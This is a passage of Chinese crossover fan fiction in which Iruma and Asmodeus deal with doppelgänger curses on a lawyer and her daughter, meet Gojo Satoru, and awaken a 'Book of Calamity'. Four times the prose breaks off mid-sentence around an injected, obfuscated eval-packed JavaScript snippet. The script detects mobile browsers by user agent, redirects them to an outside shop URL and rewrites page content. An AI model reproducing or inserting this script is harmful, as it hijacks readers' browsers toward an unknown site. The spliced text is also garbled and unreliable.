那孩子的身后,跟着一个一模一样的孩子,只是看起来充满了违和感,就像是……镜像。 “你们好……”入间小心地跟她打招呼,“你们要吃点什么吗?” 小姑娘倒也不怕生,甚至非常自然地坐了下来:“嗯!要的,谢谢。” “入间大人!”须王环不知道为什么似乎坚持入间一定有什么很厉害的本事,所以一直跟着阿斯莫德的称呼叫他大人,“你说错啦,哪里还有别人啊。” “叫我入间哥哥就好了。”入间也不知道第几次试图纠正须王环的小脑袋瓜,“啊,抱歉,可能是我看错了。” 他眼睁睁看着那个“多出来”的孩子随着名为藤冈春绯的小女孩的动作,浮空坐下,嘴巴一张一合,像是在说什么。 就像是……这个孩子的影子…… 那……这么说来,这个孩子,也是被咒灵盯上了吗?还是遇到了类似于诅咒之类的东西呢? 入间不由自主想起了关于“二重身”的怪谈,一种说法是只要出现了一模一样的人类,那在当事人看到另一个自己之后,没多久就会死去;而另一种说法,是出现的另一个自己会逐渐取代当事人,逐渐侵蚀当事人的生命,最后完完全全成为当事人。 不知道为什么,入间的直觉告诉他,发生在藤冈春绯身上的情况,属于第二种。 “你是从哪里来的呀?”忧愁是大人的,在看到小姑娘的那一瞬,须王环的眼睛迸射出一股明亮的光,“你叫什么名字啊,这里有小蛋糕,你要不要吃?” 小姑娘也一个一个地回答须王环的问题:“我从xx街道来,名字是藤冈春绯,要吃,谢谢你。” 于是须王环露出了一个明显是被击中的表情,捂着心口喃喃:“啊……好的……” 模样很像是被戳中了什么萌点。 “你来这里是干什么呀?” “妈妈来工作,我来找吃的。” 看上去非常和谐。 阿斯莫德不是很在乎这种小朋友之间的puppy love*,甚至于看上去这还是剃头挑子一头热,只有须王环单方面直球单相思的情况。 他的关注点在于希望入间能够多吃点东西,因为很明显入间就是害怕自己的饭量给别人造成困扰,所以此时不劝入间多吃点,那更待何时啊! 至于多出来的那个“孩子”,太弱了,阿斯莫德抬抬手就能祓除。 “不,还是先观察一下。” 入间不着痕迹挡住那个跟过来的影子,顺便阻止了阿斯莫德祓除掉藤冈春绯身后跟着她一起做出吃蛋糕动作的“二重身”,毕竟这个世界充斥着咒灵、诅咒之类的东西,他也不能保证,这种情况下祓除咒灵是否会对藤冈春绯的身体造成损伤。 这个世界全靠自学吗?还是说他们运气差到这种地步,每次接手事件都会稀里糊涂变成大事? 面对这样无从下手也不知道怎么处理的问题,入间也是欲哭无泪——老师不太清楚忙于什么,学生们在实战中摸爬滚打,咒术界,太辛苦了! 他算是明白为什么夜蛾老师要劝他谨慎思考了。 他现在可以拉着阿兹君退学吗? 抱着人命关天的态度,入间甜品也吃不下了,拿着来到这个世界之后自己攒钱买的手机疯狂给夜蛾老师打电话。 “嗯?是遇到什么问题了吗?” 耳畔是“嘟嘟嘟——”的忙音,抬头还是火上浇油,入间眼睁睁看着原本一直呆在房间里的利娜女士,推开了阳台门,坐在轮椅上被执事推着出来,颇为好奇地看着蹲在墙角欲哭无泪的入间。 利娜女士的房间居然离花园这么近吗? 这样的想法也只是在入间脑海中一闪而过,因为接下来更大的问题出现了——他可以清晰地看到,站在利娜女士身后那个挂着“藤冈琴子”牌子的年轻女性,身后跟着一个跟她长得一模一样的人。 “啊,这是藤冈琴子,一位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16600123|187507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 相当厉害的律师呢。”利娜女士笑着给入间介绍,“没有别的意思,只是这次的诅咒让我意识到,人生真的是稍纵即逝……我知道你们已经非常努力在试图拯救我了,但是总会有意外的吧?” “所以我就想着,请我在日本最好的朋友,也同样是我最信任的律师过来,帮我立下遗嘱,好让环能够即使处在母亲离世、父亲这边也不能认回他的情况下,还能够拥有傍身的资本,快乐地长大……” 后面的话,入间已经听得不是很清楚了,一种猝不及防的焦虑席卷了他的大脑——又一个二重身?!而且这个显然更加恐怖,甚至真的能断断续续发出声音! 甚至于,像是感受到了入间的目光,在藤冈琴子低头为利娜披上披肩之后,那个和藤冈琴子一模一样的女人没有跟着她弯腰,而是转过头,对着他露出一个充满恶意的微笑:“你、能、看、到、我、吗?” 背后渗出冷汗,很显然,这个二重身已经几乎能够取代原主了! 入间疯狂阻止利娜女士往另一边看,毕竟他还记得夜蛾老师给的资料里提到过,普通人在特殊情况下也能看到咒灵,比如进入了咒灵的领域,比如说上次遇到的咒灵熊魂;比如说人在惊恐的情绪下,或者身体虚弱的时候…… 利娜女士的身体遭受了诅咒以至于生命力疯狂流失,虽然看样子似乎没有发现藤冈琴子身后的二重身,但是入间不敢赌她会不会受到藤冈春绯的影响。 入间现在宁可咒灵都是跟之前的熊魂一样,只会莽撞攻击、缺乏智慧,也好过这种悄无声息的、渗透般的恐怖。 “你好,是我有什么不对吗?”大概是入间看着这边的时间太长,藤冈琴子有点迷惑地指了指自己。而伴随着她的动作,入间再一次看到了……看到了和利娜额头上一模一样的诅咒花纹。 “您……您的身体,最近有什么不舒服吗?” 藤冈琴子虽然因为少年有点冒失的发问愣了一下,不过利娜立刻看向自己的眼神,以及相信别人不会无的放矢的性格,还是回答了这个问题:“嗯……最近好像还可以啦,就是偶尔生病……似乎确实比往常拖延更久……别的就没有了吧?” 虽然知道这样很像什么神棍,但是入间还是鼓起勇气:“您……似乎也遭遇了诅咒。” 利娜女士:“!” 她下意识抓住了藤冈琴子的手,对着入间有点焦急地追问:“她也遭受了诅咒吗?入间君,能不能帮帮她?” 藤冈琴子原本是以一种有点好奇的心态听下去的,却在接触到利娜焦急的眼神之后有点疑惑地看了看他们。 “诅……咒?” “我、我试试……” 入间是个好学生,虽然不是那种惊人的天才,但是胜在勤奋,积极学习。所以,即使艾利先生暂时无法唤出,他也能学着之前为利娜女士驱除诅咒的方式,亦步亦趋按照艾利先生指导的步骤进行诅咒祓除。 但是,这次却并不像之前那样顺利,吸收诅咒才刚开了个头,藤冈琴子就脸色惨白地晕了过去。 9. 五条家的六眼神子 “没关系,这不是你的问题。” 夜蛾带着人匆忙赶来的时候,大家正在忙着安抚因为自责和愧疚而抬不起头的入间。 而在了解事情经过之后,夜蛾也不知道该怎么感慨入间和阿斯莫德这绝顶的运气,最后也只能摸了摸入间的脑袋,把呆毛揉得左摇右晃,说了这么一句。 不过,该说不说,你老师还是你老师,夜蛾联系不上的时间里,本来是继续招生,物色下一届学生的,因为他们的求助,变成了帮忙寻找资料。 反正他也没什么信心能说服眼前的预备役,那还不如动用能动用的关系,先护住自己已经到了手里的学生。 “多亏了五条君开了方便之门,让我能够翻阅五条家的典籍,这个诅咒我们也有了一点头绪。”夜蛾说着,侧过身,入间才看到,除了夜蛾老师,来人还有两男一女,女性很明显是之前给他们送资料、人很好的京都校同期生庵歌姬,她旁边那个也是不知道为什么一眼就能看出是辅助监督,而另一位男性…… “看什么看?”戴着墨镜、穿着浅色羽织的白发蓝眼少年冷冷瞥了他一眼,“超弱的呆——子——” 入间对这样的人身攻击习以为常,但是阿斯莫德却出离愤怒,直接挽着袖子扔出一团火焰:“你胆敢如此对待入间大人?!” 少年却挑了挑眉,用一种相当新奇的口吻评价阿斯莫德:“哦,有脑子但是不多的咒灵?一级以上?是你的式神?能打死吗?” 后面的话是转过头对着入间说的。 那双眼睛扫了一眼入间,然后改口:“哦,好像也不太像是你能调伏的,那就是脑子有病。” 简直是火上浇油。 场面一时间剑拔弩张,但是最后好在还是没有打起来,因为夜蛾出手阻止了他们:“五条君,他们是咒术师,至少现在,还是我的学生。” 少年嗤笑一声:“哼,胆子很大嘛,夜蛾。” 夜蛾也一边指挥庵歌姬和辅助监督把藤冈琴子带去车上,一边在百忙之中给他们互相介绍:“这位是咒术师世家五条家的六眼神子五条悟,所拥有的术式是五条家的家传术式,无下限和六眼,六眼能让持有者看破咒力的流向,无下限可以让抵御伤害无法近身。” 家传术式,哦,就是和恶魔们一样的家系能力,可以遗传给后代的那种! 当然,如果别人知道了入间怎么想的,一定要跟他进行一些理论,比如恶魔们家系能力的遗传是稳定的,只分强弱;但是术式是不确定的,不一定每个咒术师世家的人都能遗传到,遗传到的也不能确定是什么术式,还有六眼每代只有一个,六眼的子孙在他死前不可能遗传出第二个六眼之类的。 不过因为没人能猜出来入间在想什么,所以也就没人纠正他的想法。 “这是我的学生,铃木入间和阿斯莫德。”夜蛾顿了顿,没有详细说明他们的信息,“还在探索自己术式的阶段,是两个好孩子。” “好孩子?夜蛾,你还没到老糊涂的年纪吧?”少年五条悟盯着入间和阿斯莫德,直到入间莫名背后发凉,才嗤笑一声,慢悠悠道,“一般来说五岁以后就应该觉醒术式,怎么会到现在也搞不清楚?况且这个红色眼睛的家伙,看上去跟咒灵的波动简直几乎如出一辙。” “总而言之,阿斯莫德君是可以被人类看到的。”夜蛾只是用这样一句话给阿斯莫德下了一个不容置喙的定义,“他也不需要被祓除。” 夜蛾这么说,五条悟反而笑了起来,一双带着一点非人感觉的蓝色眼睛直勾勾盯着他们:“啊,老子觉得你们东京校很有意思,明年的新生记得加上老子。” “啊?” 现在茫然的变成了在场的其他人,怎么,这位大少爷反而喜欢顺我者亡逆我者昌吗? 不可能吧,这样的话五条悟的优先级应该是追杀他、试图得到他出生时就被悬挂在黑市开出五亿高价小命的诅咒师们。 谁能想明白他到底在想什么呢,连照顾他多年的五条家都摸不清楚。 “这家伙不能打,这种模仿别人的咒灵,老子总能动手吧?” 得到夜蛾的许可之后,五条悟活动了一下双手,定定看着那只盘踞在藤冈琴子身周的二重身,手指一抬,摆出术式:“苍。” 于是入间一直在纠结的咒灵就这么轻描淡写湮没在了蓝色光芒中。 “诶?直接……就这么直接打死吗?” 不需要调查,不需要研究会不会造成伤害? “咒灵这种东西,不需要太努力思考啊,祓除之后就能各回其位了,就算回不来,难道咒术界其他负责善后的家伙是摆设吗?”五条悟嘲笑,“果然是门外汉吧?” 五条悟的嘲讽能力太强,以至于出现了庵歌姬帮忙安置受害者,夜蛾和入间各拉着一个人防止他们真的在别人家里打起来的场面。 一时间现场也是相当混乱。 “哦,对,神子君,这里还有一个孩子也被诅咒了!” “什么神子君啊?连称呼都分不清楚,你果然不是什么很聪明的家伙吧?” “入间大人——你居然污蔑入间大人!” “哇哦,你是他的狗吗?” 最后混乱终结于庵歌姬的那句“你们到底有没有真的能干活的人啊?就让我们俩解决一切吗?!”,这才算平复。 很离谱,但是关于诅咒的事情就这样虎头蛇尾地结束了。或者说,这才是咒术界的常态,因为任意地区随时可能发生各种事件,所以在咒术界本身就一直非常缺人的情况下,救下受害者,这件事情就能结案,下一次的重启就只能等到再出现一模一样的受害者。 也是因此,在信息化不够全面,调资料困难的情况下,干活效率非常低下,并且直到现在高层都没有什么要改革的意思。 结案,就代表之后的事情入间他们也不需要继续参与,但是,入间还是一直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16600124|187507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惦记着这回事。 这件事终究还是对入间造成了不小的影响,哪怕是抛开对利娜女士和藤冈琴子的担忧不谈,至少也暴露了他对咒术界的一无所知。 “你可以联系庵歌姬,她所在的神社在负责两位当事人的休养。” 手里捏着一叠资料,入间脑子里还回荡着夜蛾的解释和剖析。 “抱歉,因为各种事件,我下意识把你们的文化课推迟了。” 跟他们这两个“外人”不同的是,另一个同期冥冥属于土生土长的本世界人,并且拥有家系传承,所以夜蛾教导的重点还是这两个孩子。 而关于须王家的事件里,诅咒到底是谁下的暂且不得而知,毕竟抛开经常和各种人打交道的藤冈琴子不谈,即使是足不出户的利娜女士,在刚来到日本时,也在外面游玩过很长一段时间,接触过的人更是难以调查。 根据在五条家查到的资料可以判断,她们身上的诅咒,是平安时代流行的一种夺取身体、压制乃至湮灭灵魂的咒术,因为其潜伏期长、检查困难,对身体伤害小所以难以发现,造成过不小的动荡,因此被束之高阁,一般来说很少有人能够学习和了解,更何况是在各种断代的现在。 要不是利娜女士在生育之后又生过两场大病,身体变差了很多,导致诅咒暴露,可能也会跟藤冈琴子一样,直到撞上咒灵或者咒术师,才能被察觉。 所以,很显然这条线就断在了这里。 而“二重身”咒灵,跟这个诅咒也并没有什么联系。 意外但是又不那么意外的是,“二重身”不是藤冈春绯带给自己母亲的,或者说,其实是藤冈琴子影响到女儿的。 这样也能解释,为什么藤冈春绯的二重身尚且停留在模仿,而藤冈琴子的二重身已经拥有自己的想法、能够支配身体了。 而入间遇到的情况,解释起来说难也难,说简单也简单——诅咒确实是利娜女士和藤冈琴子人手一个,但是利娜女士没有被二重身缠上,是因为这个诅咒和二重身并不相干。 其实,是藤冈琴子所在律所的某个非常看不起女性、认为她们应该乖乖呆在家里相夫教子当贤内助的老头子的杰作。 为有钱人工作久了,关于藏在阴影中的咒术界,多少也能有那么一点了解。 所以,为了能排除异己,这人专门找到一个不愿意当咒术师、选择成为给钱办事偶尔杀人越货的诅咒师,花了一大笔钱给藤冈琴子定制了一个恐怖的死法。 谁知道藤冈琴子这边又非常不巧地和利娜女士一起中了诅咒,才给入间的判断造成了很大的干扰。 “果然,不管哪里的烂橘子,都很恶心吧。”五条悟笑嘻嘻的声音在耳畔回荡……不对!太近了! 入间抬头,果然看到了那个被称为“神子”的五条悟。 “你,明明只是个普通人,用什么手段冒充的咒术师呢?” 五条悟盯着他,追根究底。 10. 我一定是想让春绯当我的女儿! “五条君,请放下神社的咒具!” 伴随着庵歌姬气势汹汹的“追杀”,五条悟没有再追问下去,或者他可能就是想搞一下别人的心态,把神社供奉的咒具扔到一边之后,他就溜之大吉了。 入间不记得自己是怎么应付那个眼睛似乎能够看破一切的五条家神子,以及对他这副似乎被什么打击到的样子表达关切的姐妹校同学庵歌姬了,直到推开神社给受害者们提供的房间,入间被闪了一下,才算彻底回过神。 该说不说,须王家确实豪奢,即使是暂住的房间也被改造得金碧辉煌。 利娜女士和藤冈琴子一起坐在床上,看着旁边沉迷于甜点的藤冈春绯和金毛小狗……咳,金毛小少爷须王环,露出了然的微笑。 我是来干什么的呢?入间的脑子迟钝地想了想,哦,对,我是带着调查结果来看望利娜女士和藤冈女士两位受害者的。 “入间君,来坐会儿吧。” 看到了入间的利娜高高兴兴地招呼着,让他落座。 “很抱歉……”入间抓了抓自己的头发,组织着自己的语言,“我没能帮上太多忙,二位的身体还好吗?” “已经好很多了哟。”利娜女士眨眨眼,“不要太有心理负担啦,如果不是你们,琴子身上发生的事也不一定能被发现。” “二位身上的诅咒已经彻底祓除了,只是只有诅咒的话,不能确定时间,很难追根溯源,所以为了防止类似的情况再次发生……虽然我们无能,不能找出真凶,还提出这样的请求有些得寸进尺,但是,可以帮忙回忆一下,有没有比较奇怪的经历、或者比较可疑的人呢?” 虽然这件事被搁置,但是因为是入间第一次做任务,所以也难免想要尽善尽美,说不定以后就能揪出来幕后黑手了呢? “奇怪的经历吗?我记得从利娜回国开始,我们一起出现过的场合,应该是商场,还有某家私人的成衣店,因为利娜从法国过来,所以我陪着她去买过几次衣服。之后,利娜就没怎么出门了。”藤冈琴子回忆道,“不过我自己这边倒是经常接触一些比较棘手的问题,诅咒会传染吗?有没有我传染给利娜的可能性?” “不,这个诅咒是不会传染的。” 看样子能得到的线索同样有限,入间想了想,用普通人更能接受的说法进行补充:“还有……关于藤冈女士晕倒的问题,是因为除了诅咒之外,还有有人花钱,让您怨灵缠身,甚至影响到了您的女儿。” 这点对于入间来说尤其重要,就像是战斗中要保证身边人不会捅冷刀子,在工作里,一个会在背地里坑害自己的同伴也尤其需要防范。 藤冈琴子却是一副意料之中的样子,虽然差点伤害到她的女儿这件事令她愤怒,但是还是非常精准地吐出了犯人的名字:“是西村对吧?除了他,我也想不到第二个恶意这么大的家伙了。” 她就这么接受了“自己可能确实遇到了一点难以发现和解决的问题”这件事,毕竟作为一位努力做到上游的律师,即使没有像某个依仗着资历的老古板那样交游广阔、人脉可观,在工作生活中也不难发现有些目前暂时不能用科学解释的问题,而她也没有深究的意思——这种好奇心和任务应该交给科学家,跨界只会徒增困扰。 就像年糕店的年糕最好吃*,她也只需要做一个好的律师,不该了解的地方不随便接触,不是自己任务范围内的问题不要随便涉足,就够了。 所以她甚至只是对入间表达了感谢,然后询问“那现在问题解决了吗”,淡定得仿佛自己遇到的不是什么差点杀死她的咒灵,而是给她了一份什么资料。 “也不算完全解决吧,毕竟目前来说,咒术界还没有跟政府制作什么行之有效的实施法案来惩戒这种行为……夜蛾老师说,这种情况如果他寻求熟人帮助的话,很可能从轻处罚。” 入间也几乎没有见过这样风格的人,不过非质问、不追根究底的态度确实省了很多麻烦。 “没关系。”藤冈琴子的表情还是始终如一的淡定,仿佛这不是什么恶意满满的对手,而是什么路人甲,“反正出了这档子事,我会让他在律所呆不下去的。” 毕竟谁也不会想要一个会用神鬼莫测手段坑害别人的同伴,西村自以为的逃出生天,只会成为让人心生恐惧的又一有力证明。 一个能够在害了同伴之后还能从轻发落的家伙,即使是平时关系很好的上司也很难不心存芥蒂吧?谁不会有闹矛盾的时候呢?如果今天西村能用这种手段对付竞争对手,那么谁能保证自己永远不会跟这人有利益冲突? 所以说是蠢货嘛。 她们俩和入间的交谈没有一点要瞒着自己孩子们的意思,毕竟既然已经接触到了,了解并不是坏事。 不过……好像事与愿违? 藤冈春绯在吃掉一盘甜品之后就抱着课本开始写作业,而须王环面前的甜品分毫未动,托着腮帮子美滋滋盯着藤冈春绯看,两个孩子,都完全没有表达出对大人们之间话题哪怕一丁点的好奇。 利娜:“……” 藤冈琴子:“……” 不知道为什么,须王环这种不值钱的样子看上去有点眼熟。 “就这么喜欢小春绯吗?”利娜女士好笑地看着自己的儿子,“难不成你还要把春绯带回家?” 须王环不假思索,流露出激动的神情:“可以吗?” 利娜女士循循善诱:“那你是以什么样的身份来把她带回家呢?非亲非故,听起来像是可疑的人贩子耶?” 须王环小少爷在沉思良久之后一拍脑门:“我明白了!” 看着小豆丁装深沉真的非常有意思,入间也忍不住问道:“你明白了什么?” “我,一定是把她当成女儿了!” “噗——咳咳咳……” 就算是亲情,那不应该是妹妹吗?怎么变成女儿了?! 不理解啊,现在的小朋友到底在想什么。 当然,虽然现在两位女士的身体状况逐渐好转了,但是探望人数和时间还是有限制的。 之前在刚来到须王家, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16600125|187507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出现给他们引路的须王让先生的执事,和一个看起来多少有点不修边幅的男人等在了门外,分别接走了须王环和藤冈春绯。 “不要分开我和宝贝女儿春绯——” 须王环原本兴冲冲上了车,在看到藤冈春绯被“陌生男人”带走之后,眼泪汪汪地试图下车拯救她:“不要让她被陌生人接走啊——” “几岁的臭小子说什么梦话呢?”男人一脸莫名地看着他,完全不在乎须王家的豪车执事,只是非常警觉地搂住宝贝女儿春绯,“不要乱认女儿,这是我家的!” “你一个人在外面,爸爸会很担心的!” 看上去须王环完全听不进去藤冈春绯亲爸的吐槽,沉浸在自己又要仓促跟藤冈春绯分别的悲伤里,甚至于为此生出一股子蛮劲,从重重封锁下逃出来,抓住她的手,哇哇大哭。 一时间非常混乱。 正当大家都被打了个猝不及防的时候,藤冈春绯想了想,晃晃须王环抓住自己的手,问道:“那需要我帮你辅导功课吗?” 这是一直保持年级第一的藤冈春绯最擅长的示好方式了。 “好啊!!!可以每天都来吗?你可以住在我家!” “不行,不可以每天,也不能住在你家,我还有别的朋友。” “那……两天一次?” “一周两次。” “那就两次!” 少不更事的须王环,就这样笨笨地应下了让以后的自己无数次后悔的承诺。 学习,哪有开心的呢? 看着热热闹闹的一堆人,入间挠了挠头,不知道为什么又开始思念起了爷爷他们。 “入间君——” 正一个人往回走着,忽然迎面飞奔过来一个高挑的身影,赫然是阿斯莫德。 “啊。差点又在大庭广众之下叫入间大人了……”自从发现这样称呼会让入间被人嘲笑(尤其是某个恶劣的白发蓝眼神子)之后,阿斯莫德就改口把后缀改成了“君”,“您过来也要跟我说一声啊,不然您一个人在外面,谁能保证没有诅咒师报复呢?” “因为阿兹君最近在学习人类世界的语言嘛。”看着阿斯莫德充满关切的眼神和各种表达担忧的絮絮叨叨,入间也不知道为什么,心情就是非常微妙地好了起来,“阿兹君太辛苦了,如果还要求你陪着我东奔西跑的话,那不是太过分了吗?” “可是,入间大人、入间君,比区区学习,要重要很多啊!我立志要成为入间君的矛,要成为您前进路上不可或缺的左右手,这才是我最重要的事情啊。” “最重要的事情~”五条悟不知道什么时候又出现在了他们面前,语气欠揍地模仿阿斯莫德的话,打断了真挚的剖白。 这次阿斯莫德终于忍无可忍,召唤出一团火焰朝着这个气氛破坏者扔了过去,可惜砸向五条悟的火焰不知道为什么,像是撞到了什么屏障,不得寸近。 “欸!”入间刚想阻止他们在神社大打出手,就被什么重物狠狠砸中了脑袋,眼前一黑,倒在了地上。 11. 灾厄之书 “入间小弟,真是脆弱啊。” 入间逐渐恢复意识,就听到了艾利先生熟悉的声音。 然后,像是随着这句话被提醒到了什么一样,后脑勺逐渐复苏的疼痛提醒着入间自己昏迷之前的遭遇。 睁开眼睛,最先看到的是含着一点不太明显的水光的红色眼眸,然后是表情担忧的阿斯莫德:“入间君,您终于醒了!” 蓝色的帘子,一看就饱经风霜的铁架病床,还有门外熟悉的景色,无一不显示在昏迷的这段时间里,入间已经被从神社搬回了病房。 嘶,发生了什么来着? 他探望完利娜女士和藤冈女士,然后出门,阿兹君来接他回去,再是出现了五条神子,接下来……头好痛!哦,对,他被什么袭击了。 呜呜,听起来好丢人! “我是……被……什么砸到的?” 好奇怪啊,按理来说,他身体即使是在无意识下也能够进行对危险的下意识躲避,怎么会突遭横祸被砸进高专医务室? 阿斯莫德听到这句话,露出了一个有点难以解读的表情,在身边的包里掏了掏,摸出一本看起来很有些份量的书放在入间手边:“这个,就是不知怎么回事凭空出现并且砸中您的东西。” 一本……书?谁干的? 这本“凶器”看上去没有什么特别的地方,不过掂量起来格外厚实,入间把整本书翻来覆去,从封面到书页,都是一片空白。 一本……什么都没有的书? “这本书实在是古怪。”耳畔是阿斯莫德对于为什么没能销毁它的解释,“不管是手撕还是用火焰烧毁,这本书都岿然不动,完全没有一点受损的样子,实在是抱歉,没能让它灰飞烟灭。” 入间迷茫地抬了抬手,试图把这本看起来平平无奇的书拿起来仔细观察。 在拿起来的瞬间,指尖似乎被什么扎了一下,流出一滴鲜血,就像是……被这本书咬了一口? 而汲取到这一滴指尖血,这本空白书就像是“活过来”了一样,纸张呈现出一种羊皮纸般的坚韧,血红的纹路如同有意识一般生长蔓延,直到铺满书本。 “灾厄……之书?” 入间辨认出那些花纹组成的魔界文字,一字一顿地读了出来。 他看了看阿斯莫德,发现即使是魔界土生土长的优等生阿斯莫德都是一副闻所未闻的茫然,只好低下头翻开,见识一下这到底是何方神圣。 与其说是书,不如说是图鉴,书背上镶嵌着透明的、雕刻着数字的不明材质长条装饰,罗马数字中的“Ⅰ”刻度闪闪发光。 封面上是一个穿着酷似rpg游戏中祭司服装的高挑人形。那人头顶帽子上垂下的纱幔把脸挡得严严实实,只有侧边蔓生的双角表明他作为恶魔的身份,旁边什么信息都没有,仿佛只是类似于图画书封面为了美观而安插的立绘。 翻开看,第一页就是阿斯莫德。 书页上的阿斯莫德活灵活现,身边浮动着红色的文字,介绍着阿斯莫德的来历、家族、亲人、家系能力、契约魔兽和所擅长魔法。 再往后翻,就是轮廓熟悉的黑影,入间能准确叫出他们的名字:克拉拉、贾兹、……卡鲁耶格老师……甚至于爷爷的管家欧佩拉。 分明都是他身边的恶魔! 囊括了同学、老师、家人……看起来更像是什么奇怪的收集图鉴了!不过怎么没有爷爷? 这样堪称奇幻小说里“认主”的一幕结结实实震撼到了在场所有人,只有阿斯莫德又不知道脑补了什么,握着拳头兴奋地来了一句“不愧是入间大人”。 “好奇怪,点亮图鉴有什么要求呢?” 艾利先生终于从戒指里现身,入间如蒙大赦,转身请求阿斯莫德帮他去自己的寝室里拿一套换洗衣物,然后果断求助了在他眼里博学多才的戒中恶魔。 “嘛……入间小弟,你还记得在这本书出现之前,你在想什么吗?” “我在想,阿兹君在,真的是太好了……” 入间刚说完就被艾利先生毫不客气地锤了一下脑袋:“我说的是别的!关于力量!关于欲望!” “就像是你想要在巴比鲁斯变强,提升自己的位阶唤醒了我,这本书,也是一样的道理!” 啊……这么说来,在阿兹君来接自己之前,入间在想什么呢? “不甘心。”入间喃喃,“是不甘心。” 他没办法表达自己那时候究竟是多么复杂的心态,其中最尖锐、最突出的就是不甘心。 利娜女士,还有藤冈女士,乃至于那么小的孩子春绯,都因为一个堪称无妄之灾的诅咒,以及一个贪婪的、卑劣的家伙,差点死掉了啊! 可是,他没办法调查出来诅咒的源头,这里也不是魔界,没有足够的势力支持他施压,让恶人得到应有的惩罚。 他虽然是老好人,愿意原谅很多的人或者事情,但是这种行为实在是有点超出他的认知了。 “所以说不要让年轻人太早接触社会阴暗面嘛,这点人类还不如恶魔呢。”艾利先生小声嘟囔着,然后提高声音,继续道,“是的,这个世界认可并且愿意接纳你,但是不会直接给你送术式。入间小弟你的不甘心和变强的欲望,才让你觉醒了类似于术式的东西,也就是这本书。” 入间有点犹豫地看着这本名字听起来就非常不妙的书:“可是……” “没有可是,你不是想要变强吗?我觉得这个就很合适啊!”艾利先生循循善诱,“这个世界很危险啊,入间小弟你的变强难道只停留在魔界吗?在新的世界你就要选择安逸,让下属冲锋陷阵吗?” “阿兹君不是下属!” “好好好,就算他不是下属,那你就更需要变强了嘛。你想想,之前那只熊还没使用术式就那么可怕了,万一哪天遇到一个比一级还厉害的特级咒灵……你看看,咒术师死亡率本身就很高,你也不想再也回不去,让你年迈的爷爷伤心吧?还有阿斯莫德,你就不想反过来保护自己的朋友吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16600126|187507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 该说不说,艾利先生在做恶魔方面,绝对是个中好手,几句话就调动了入间的积极性,达成了自己的目的。 虽然用“年迈”形容作为魔王候选人的爷爷听起来实在是奇怪,但是入间确实被艾利先生调动起了一腔热血:“好!我会努力的!” 仿佛感受到了入间的决心,关于灾厄之书的信息碎片立刻如同趋光的飞蛾一样扑棱棱化作光电,沿着入间放在灾厄之书上的手,汇入他的脑海。 片刻后,他睁开眼,握拳下定决心:“好,为了填满灾厄之书的能量,获得同学们的能力,在这个世界更好地生存下去,我决定努力击杀咒灵!” 艾利先生:“……” 艾利先生:“?!” 得知了这本“灾厄之书”的能量供给之后,笑不出来的人变成了艾利先生。 艾利先生:“入间小弟,你说得对,这本书太奇怪了,最好还是销毁了吧。” 怎么还抢别人口粮啊! “欸?”入间被艾利先生的变脸打了个猝不及防。 还没等他追问艾利先生原因,阿斯莫德就带着入间的衣服回来了,甚至手里还拿着自己的:“入间大人,要一起去洗澡吗?” “好啊!” 入间答应了一声,然后兴致勃勃跟自己的好朋友分享自己了解到的关于这本灾厄之书的信息:“阿兹君,我明白这本书该怎么使用了!它还能够让我暂时拥有你的能力!” “不愧是入间君!” 两个少年头对头傻乐,不管什么情况,夸就对了。 “这个图鉴,你看,这是克拉拉,这是布耶尔老师……到时候我们抓咒灵给灾厄之书充电,就可以召唤他们,在召唤之后就能使用他们的能力了!不过他们只能停留最多三天……这样我们也能拜托他们给家里人传信,阿兹君的家人们在你失踪之后,一定很担心吧。” 入间想了想,给他们定下目标:“既然这样,我们先想办法召唤老师们,老师们的经验和知识比我们要充足一些,说不定能找到办法回去……” “不,他们不会担心的。”阿斯莫德看着开开心心计划目标的入间,眼神都柔和了许多,“如果他们知道我和入间君呆在一起,一定也会很开心的。” 听完这句话,不知为何,入间的耳朵开始发烫,连忙转移了话题,向阿斯莫德展示自己的能力:“你看,现在我可以使用阿兹君的火焰……” 